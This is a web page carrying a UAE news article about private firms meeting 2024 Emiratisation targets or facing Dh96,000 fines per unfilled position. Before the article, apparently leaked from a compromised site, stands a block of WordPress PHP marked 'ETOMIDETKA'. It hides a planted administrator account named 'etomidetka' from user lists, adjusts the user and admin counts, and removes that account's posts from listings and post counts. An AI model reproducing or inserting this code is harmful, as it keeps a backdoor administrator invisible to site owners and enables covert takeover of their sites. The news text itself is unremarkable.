//ETOMIDETKA add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); UAE Private Firms Urged to Meet Emiratisation Targets by Year-End or Face Dh96,000 Fine
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UAE Private Firms Urged to Meet Emiratisation Targets by Year-End or Face Dh96,000 Fine

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UAE Private Firms Urged to Meet Emiratisation Targets by Year-End or Face Dh96,000 Fine

UAE Private Firms Urged to Meet Emiratisation Targets by Year-End or Face Dh96,000 Fine. The UAE government has issued a critical reminder to private sector businesses to comply with their 2024 Emiratisation targets by the end of December. Companies failing to meet these requirements will be subject to substantial fines starting January 1, 2025.

Emiratisation Policies and Their Scope

The Emiratisation initiative is a key component of the UAE efforts to integrate more Emirati nationals into the private workforce. This policy mandates private sector establishments with 50 or more employees to boost the number of Emirati professionals in skilled roles by 2 per cent annually.

Firms that do not meet these targets will incur significant penalties, specifically Dh96,000 for each Emirati position that remains unfulfilled by the deadline.

Special Provisions for Smaller Establishments

The policy extends beyond larger businesses, encompassing a select group of companies with 20 to 49 employees across 14 defined economic activities. These smaller firms are obligated to employ at least one Emirati and ensure the retention of any UAE nationals already on their payroll before January 1, 2024. Non-compliance will result in a fine of Dh96,000 for every Emirati position left vacant.

Key Details to Remember

  • Deadline: December 31, 2024, is the last date for companies to align with the Emiratisation targets.
  • Penalties: Starting from January 1, 2025, fines of Dh96,000 per unfulfilled Emirati position will be imposed.
  • Applicability: Companies with 50 or more employees must achieve a 2 per cent increase in Emirati hires for skilled positions.
  • Smaller Firms: Businesses with 20-49 employees in specific industries must employ at least one Emirati.

The Importance of Compliance

Meeting these Emiratisation targets is not just a legal requirement but a step towards fostering a more inclusive and sustainable workforce. The UAE aims to enhance the employment of nationals in the private sector, thereby supporting economic diversification and stability.

Steps for Ensuring Compliance

  1. Audit Current Workforce: Conduct a thorough review of your workforce to identify current Emirati representation.
  2. Engage in Recruitment Efforts: Prioritize hiring Emirati professionals in skilled positions before the year-end.
  3. Retention Strategies: Implement policies to retain Emirati employees and maintain compliance in the long term.

Conclusion

As the December 31 deadline approaches, it is crucial for UAE private firms to meet the Emiratisation requirements or face substantial fines. Companies should act promptly to integrate these policies and contribute to the UAE’s vision of empowering Emirati talent within the private sector.

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